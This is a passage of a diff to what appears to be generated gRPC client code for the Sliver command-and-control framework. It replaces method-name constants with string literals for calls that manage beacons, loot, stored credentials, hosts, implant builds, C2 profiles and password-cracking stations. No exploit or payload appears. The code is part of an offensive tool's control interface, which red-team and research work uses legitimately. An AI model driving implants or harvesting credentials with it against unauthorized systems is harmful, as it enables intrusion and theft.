if err != nil {
return nil, err
}
@@ -630,7 +444,7 @@ func (c *sliverRPCClient) GetBeacon(ctx context.Context, in *clientpb.Beacon, op
func (c *sliverRPCClient) RmBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_RmBeacon_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RmBeacon", in, out, opts...)
if err != nil {
return nil, err
}
@@ -639,7 +453,7 @@ func (c *sliverRPCClient) RmBeacon(ctx context.Context, in *clientpb.Beacon, opt
func (c *sliverRPCClient) GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error) {
out := new(clientpb.BeaconTasks)
- err := c.cc.Invoke(ctx, SliverRPC_GetBeaconTasks_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeaconTasks", in, out, opts...)
if err != nil {
return nil, err
}
@@ -648,7 +462,7 @@ func (c *sliverRPCClient) GetBeaconTasks(ctx context.Context, in *clientpb.Beaco
func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) {
out := new(clientpb.BeaconTask)
- err := c.cc.Invoke(ctx, SliverRPC_GetBeaconTaskContent_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeaconTaskContent", in, out, opts...)
if err != nil {
return nil, err
}
@@ -657,7 +471,7 @@ func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb
func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) {
out := new(clientpb.BeaconTask)
- err := c.cc.Invoke(ctx, SliverRPC_CancelBeaconTask_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CancelBeaconTask", in, out, opts...)
if err != nil {
return nil, err
}
@@ -666,7 +480,7 @@ func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.Bea
func (c *sliverRPCClient) UpdateBeaconIntegrityInformation(ctx context.Context, in *clientpb.BeaconIntegrity, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_UpdateBeaconIntegrityInformation_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation", in, out, opts...)
if err != nil {
return nil, err
}
@@ -675,7 +489,7 @@ func (c *sliverRPCClient) UpdateBeaconIntegrityInformation(ctx context.Context,
func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error) {
out := new(clientpb.Jobs)
- err := c.cc.Invoke(ctx, SliverRPC_GetJobs_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetJobs", in, out, opts...)
if err != nil {
return nil, err
}
@@ -684,7 +498,7 @@ func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts
func (c *sliverRPCClient) KillJob(ctx context.Context, in *clientpb.KillJobReq, opts ...grpc.CallOption) (*clientpb.KillJob, error) {
out := new(clientpb.KillJob)
- err := c.cc.Invoke(ctx, SliverRPC_KillJob_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/KillJob", in, out, opts...)
if err != nil {
return nil, err
}
@@ -693,7 +507,7 @@ func (c *sliverRPCClient) KillJob(ctx context.Context, in *clientpb.KillJobReq,
func (c *sliverRPCClient) RestartJobs(ctx context.Context, in *clientpb.RestartJobReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_RestartJobs_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RestartJobs", in, out, opts...)
if err != nil {
return nil, err
}
@@ -702,7 +516,7 @@ func (c *sliverRPCClient) RestartJobs(ctx context.Context, in *clientpb.RestartJ
func (c *sliverRPCClient) StartTCPStagerListener(ctx context.Context, in *clientpb.StagerListenerReq, opts ...grpc.CallOption) (*clientpb.StagerListener, error) {
out := new(clientpb.StagerListener)
- err := c.cc.Invoke(ctx, SliverRPC_StartTCPStagerListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartTCPStagerListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -711,7 +525,7 @@ func (c *sliverRPCClient) StartTCPStagerListener(ctx context.Context, in *client
func (c *sliverRPCClient) LootAdd(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) {
out := new(clientpb.Loot)
- err := c.cc.Invoke(ctx, SliverRPC_LootAdd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootAdd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -720,7 +534,7 @@ func (c *sliverRPCClient) LootAdd(ctx context.Context, in *clientpb.Loot, opts .
func (c *sliverRPCClient) LootRm(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_LootRm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootRm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -729,7 +543,7 @@ func (c *sliverRPCClient) LootRm(ctx context.Context, in *clientpb.Loot, opts ..
func (c *sliverRPCClient) LootUpdate(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) {
out := new(clientpb.Loot)
- err := c.cc.Invoke(ctx, SliverRPC_LootUpdate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootUpdate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -738,7 +552,7 @@ func (c *sliverRPCClient) LootUpdate(ctx context.Context, in *clientpb.Loot, opt
func (c *sliverRPCClient) LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) {
out := new(clientpb.Loot)
- err := c.cc.Invoke(ctx, SliverRPC_LootContent_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootContent", in, out, opts...)
if err != nil {
return nil, err
}
@@ -747,7 +561,7 @@ func (c *sliverRPCClient) LootContent(ctx context.Context, in *clientpb.Loot, op
func (c *sliverRPCClient) LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error) {
out := new(clientpb.AllLoot)
- err := c.cc.Invoke(ctx, SliverRPC_LootAll_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootAll", in, out, opts...)
if err != nil {
return nil, err
}
@@ -756,7 +570,7 @@ func (c *sliverRPCClient) LootAll(ctx context.Context, in *commonpb.Empty, opts
func (c *sliverRPCClient) Creds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Credentials, error) {
out := new(clientpb.Credentials)
- err := c.cc.Invoke(ctx, SliverRPC_Creds_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Creds", in, out, opts...)
if err != nil {
return nil, err
}
@@ -765,7 +579,7 @@ func (c *sliverRPCClient) Creds(ctx context.Context, in *commonpb.Empty, opts ..
func (c *sliverRPCClient) CredsAdd(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CredsAdd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsAdd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -774,7 +588,7 @@ func (c *sliverRPCClient) CredsAdd(ctx context.Context, in *clientpb.Credentials
func (c *sliverRPCClient) CredsRm(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CredsRm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsRm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -783,7 +597,7 @@ func (c *sliverRPCClient) CredsRm(ctx context.Context, in *clientpb.Credentials,
func (c *sliverRPCClient) CredsUpdate(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CredsUpdate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsUpdate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -792,7 +606,7 @@ func (c *sliverRPCClient) CredsUpdate(ctx context.Context, in *clientpb.Credenti
func (c *sliverRPCClient) GetCredByID(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credential, error) {
out := new(clientpb.Credential)
- err := c.cc.Invoke(ctx, SliverRPC_GetCredByID_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCredByID", in, out, opts...)
if err != nil {
return nil, err
}
@@ -801,7 +615,7 @@ func (c *sliverRPCClient) GetCredByID(ctx context.Context, in *clientpb.Credenti
func (c *sliverRPCClient) GetCredsByHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credentials, error) {
out := new(clientpb.Credentials)
- err := c.cc.Invoke(ctx, SliverRPC_GetCredsByHashType_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCredsByHashType", in, out, opts...)
if err != nil {
return nil, err
}
@@ -810,7 +624,7 @@ func (c *sliverRPCClient) GetCredsByHashType(ctx context.Context, in *clientpb.C
func (c *sliverRPCClient) GetPlaintextCredsByHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credentials, error) {
out := new(clientpb.Credentials)
- err := c.cc.Invoke(ctx, SliverRPC_GetPlaintextCredsByHashType_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPlaintextCredsByHashType", in, out, opts...)
if err != nil {
return nil, err
}
@@ -819,7 +633,7 @@ func (c *sliverRPCClient) GetPlaintextCredsByHashType(ctx context.Context, in *c
func (c *sliverRPCClient) CredsSniffHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credential, error) {
out := new(clientpb.Credential)
- err := c.cc.Invoke(ctx, SliverRPC_CredsSniffHashType_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsSniffHashType", in, out, opts...)
if err != nil {
return nil, err
}
@@ -828,7 +642,7 @@ func (c *sliverRPCClient) CredsSniffHashType(ctx context.Context, in *clientpb.C
func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
out := new(clientpb.AllHosts)
- err := c.cc.Invoke(ctx, SliverRPC_Hosts_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
if err != nil {
return nil, err
}
@@ -837,7 +651,7 @@ func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ..
func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
out := new(clientpb.Host)
- err := c.cc.Invoke(ctx, SliverRPC_Host_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
if err != nil {
return nil, err
}
@@ -846,7 +660,7 @@ func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...g
func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_HostRm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -855,7 +669,7 @@ func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ..
func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_HostIOCRm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -864,7 +678,7 @@ func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts
func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
out := new(clientpb.Generate)
- err := c.cc.Invoke(ctx, SliverRPC_Generate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -873,7 +687,7 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
out := new(clientpb.ExternalImplantConfig)
- err := c.cc.Invoke(ctx, SliverRPC_GenerateExternal_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...)
if err != nil {
return nil, err
}
@@ -882,7 +696,7 @@ func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.Ext
func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_GenerateExternalSaveBuild_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalSaveBuild", in, out, opts...)
if err != nil {
return nil, err
}
@@ -891,7 +705,7 @@ func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *cli
func (c *sliverRPCClient) GenerateExternalGetBuildConfig(ctx context.Context, in *clientpb.ImplantBuild, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
out := new(clientpb.ExternalImplantConfig)
- err := c.cc.Invoke(ctx, SliverRPC_GenerateExternalGetBuildConfig_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalGetBuildConfig", in, out, opts...)
if err != nil {
return nil, err
}
@@ -900,7 +714,7 @@ func (c *sliverRPCClient) GenerateExternalGetBuildConfig(ctx context.Context, in
func (c *sliverRPCClient) GenerateStage(ctx context.Context, in *clientpb.GenerateStageReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
out := new(clientpb.Generate)
- err := c.cc.Invoke(ctx, SliverRPC_GenerateStage_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateStage", in, out, opts...)
if err != nil {
return nil, err
}
@@ -909,7 +723,7 @@ func (c *sliverRPCClient) GenerateStage(ctx context.Context, in *clientpb.Genera
func (c *sliverRPCClient) StageImplantBuild(ctx context.Context, in *clientpb.ImplantStageReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_StageImplantBuild_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StageImplantBuild", in, out, opts...)
if err != nil {
return nil, err
}
@@ -918,7 +732,7 @@ func (c *sliverRPCClient) StageImplantBuild(ctx context.Context, in *clientpb.Im
func (c *sliverRPCClient) GetHTTPC2Profiles(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.HTTPC2Configs, error) {
out := new(clientpb.HTTPC2Configs)
- err := c.cc.Invoke(ctx, SliverRPC_GetHTTPC2Profiles_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetHTTPC2Profiles", in, out, opts...)
if err != nil {
return nil, err
}
@@ -927,7 +741,7 @@ func (c *sliverRPCClient) GetHTTPC2Profiles(ctx context.Context, in *commonpb.Em
func (c *sliverRPCClient) GetHTTPC2ProfileByName(ctx context.Context, in *clientpb.C2ProfileReq, opts ...grpc.CallOption) (*clientpb.HTTPC2Config, error) {
out := new(clientpb.HTTPC2Config)
- err := c.cc.Invoke(ctx, SliverRPC_GetHTTPC2ProfileByName_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetHTTPC2ProfileByName", in, out, opts...)
if err != nil {
return nil, err
}
@@ -936,7 +750,7 @@ func (c *sliverRPCClient) GetHTTPC2ProfileByName(ctx context.Context, in *client
func (c *sliverRPCClient) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HTTPC2ConfigReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_SaveHTTPC2Profile_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SaveHTTPC2Profile", in, out, opts...)
if err != nil {
return nil, err
}
@@ -944,7 +758,7 @@ func (c *sliverRPCClient) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HT
}
func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], "/rpcpb.SliverRPC/BuilderRegister", opts...)
if err != nil {
return nil, err
}
@@ -977,7 +791,7 @@ func (x *sliverRPCBuilderRegisterClient) Recv() (*clientpb.Event, error) {
func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_BuilderTrigger_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/BuilderTrigger", in, out, opts...)
if err != nil {
return nil, err
}
@@ -986,7 +800,7 @@ func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event
func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Builders, error) {
out := new(clientpb.Builders)
- err := c.cc.Invoke(ctx, SliverRPC_Builders_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Builders", in, out, opts...)
if err != nil {
return nil, err
}
@@ -995,7 +809,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts
func (c *sliverRPCClient) GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error) {
out := new(clientpb.CertificateInfo)
- err := c.cc.Invoke(ctx, SliverRPC_GetCertificateInfo_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCertificateInfo", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1003,7 +817,7 @@ func (c *sliverRPCClient) GetCertificateInfo(ctx context.Context, in *clientpb.C
}
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
if err != nil {
return nil, err
}
@@ -1036,7 +850,7 @@ func (x *sliverRPCCrackstationRegisterClient) Recv() (*clientpb.Event, error) {
func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CrackstationTrigger_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackstationTrigger", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1045,7 +859,7 @@ func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb.
func (c *sliverRPCClient) CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CrackstationBenchmark_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackstationBenchmark", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1054,7 +868,7 @@ func (c *sliverRPCClient) CrackstationBenchmark(ctx context.Context, in *clientp
func (c *sliverRPCClient) Crackstations(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Crackstations, error) {
out := new(clientpb.Crackstations)
- err := c.cc.Invoke(ctx, SliverRPC_Crackstations_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crackstations", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1063,7 +877,7 @@ func (c *sliverRPCClient) Crackstations(ctx context.Context, in *commonpb.Empty,
func (c *sliverRPCClient) CrackTaskByID(ctx context.Context, in *clientpb.CrackTask, opts ...grpc.CallOption) (*clientpb.CrackTask, error) {
out := new(clientpb.CrackTask)
- err := c.cc.Invoke(ctx, SliverRPC_CrackTaskByID_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackTaskByID", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1072,7 +886,7 @@ func (c *sliverRPCClient) CrackTaskByID(ctx context.Context, in *clientpb.CrackT
func (c *sliverRPCClient) CrackTaskUpdate(ctx context.Context, in *clientpb.CrackTask, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CrackTaskUpdate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackTaskUpdate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1081,7 +895,7 @@ func (c *sliverRPCClient) CrackTaskUpdate(ctx context.Context, in *clientpb.Crac
func (c *sliverRPCClient) CrackFilesList(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*clientpb.CrackFiles, error) {
out := new(clientpb.CrackFiles)
- err := c.cc.Invoke(ctx, SliverRPC_CrackFilesList_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFilesList", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1090,7 +904,7 @@ func (c *sliverRPCClient) CrackFilesList(ctx context.Context, in *clientpb.Crack
func (c *sliverRPCClient) CrackFileCreate(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*clientpb.CrackFile, error) {
out := new(clientpb.CrackFile)
- err := c.cc.Invoke(ctx, SliverRPC_CrackFileCreate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileCreate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1099,7 +913,7 @@ func (c *sliverRPCClient) CrackFileCreate(ctx context.Context, in *clientpb.Crac
func (c *sliverRPCClient) CrackFileChunkUpload(ctx context.Context, in *clientpb.CrackFileChunk, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CrackFileChunkUpload_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileChunkUpload", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1108,7 +922,7 @@ func (c *sliverRPCClient) CrackFileChunkUpload(ctx context.Context, in *clientpb
func (c *sliverRPCClient) CrackFileChunkDownload(ctx context.Context, in *clientpb.CrackFileChunk, opts ...grpc.CallOption) (*clientpb.CrackFileChunk, error) {
out := new(clientpb.CrackFileChunk)
- err := c.cc.Invoke(ctx, SliverRPC_CrackFileChunkDownload_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileChunkDownload", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1117,7 +931,7 @@ func (c *sliverRPCClient) CrackFileChunkDownload(ctx context.Context, in *client
func (c *sliverRPCClient) CrackFileComplete(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CrackFileComplete_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileComplete", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1126,7 +940,7 @@ func (c *sliverRPCClient) CrackFileComplete(ctx context.Context, in *clientpb.Cr
func (c *sliverRPCClient) CrackFileDelete(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_CrackFileDelete_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileDelete", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1135,7 +949,7 @@ func (c *sliverRPCClient) CrackFileDelete(ctx context.Context, in *clientpb.Crac
func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
out := new(clientpb.Generate)
- err := c.cc.Invoke(ctx, SliverRPC_Regenerate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Regenerate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1144,7 +958,7 @@ func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.Regenerat
func (c *sliverRPCClient) ImplantBuilds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantBuilds, error) {
out := new(clientpb.ImplantBuilds)
- err := c.cc.Invoke(ctx, SliverRPC_ImplantBuilds_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ImplantBuilds", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1153,7 +967,7 @@ func (c *sliverRPCClient) ImplantBuilds(ctx context.Context, in *commonpb.Empty,
func (c *sliverRPCClient) DeleteImplantBuild(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_DeleteImplantBuild_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/DeleteImplantBuild", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1162,7 +976,7 @@ func (c *sliverRPCClient) DeleteImplantBuild(ctx context.Context, in *clientpb.D
func (c *sliverRPCClient) Canaries(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Canaries, error) {
out := new(clientpb.Canaries)
- err := c.cc.Invoke(ctx, SliverRPC_Canaries_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Canaries", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1171,7 +985,7 @@ func (c *sliverRPCClient) Canaries(ctx context.Context, in *commonpb.Empty, opts
func (c *sliverRPCClient) GenerateWGClientConfig(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.WGClientConfig, error) {
out := new(clientpb.WGClientConfig)
- err := c.cc.Invoke(ctx, SliverRPC_GenerateWGClientConfig_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateWGClientConfig", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1180,7 +994,7 @@ func (c *sliverRPCClient) GenerateWGClientConfig(ctx context.Context, in *common
func (c *sliverRPCClient) GenerateUniqueIP(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.UniqueWGIP, error) {
out := new(clientpb.UniqueWGIP)
- err := c.cc.Invoke(ctx, SliverRPC_GenerateUniqueIP_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateUniqueIP", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1189,7 +1003,7 @@ func (c *sliverRPCClient) GenerateUniqueIP(ctx context.Context, in *commonpb.Emp
func (c *sliverRPCClient) ImplantProfiles(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantProfiles, error) {
out := new(clientpb.ImplantProfiles)
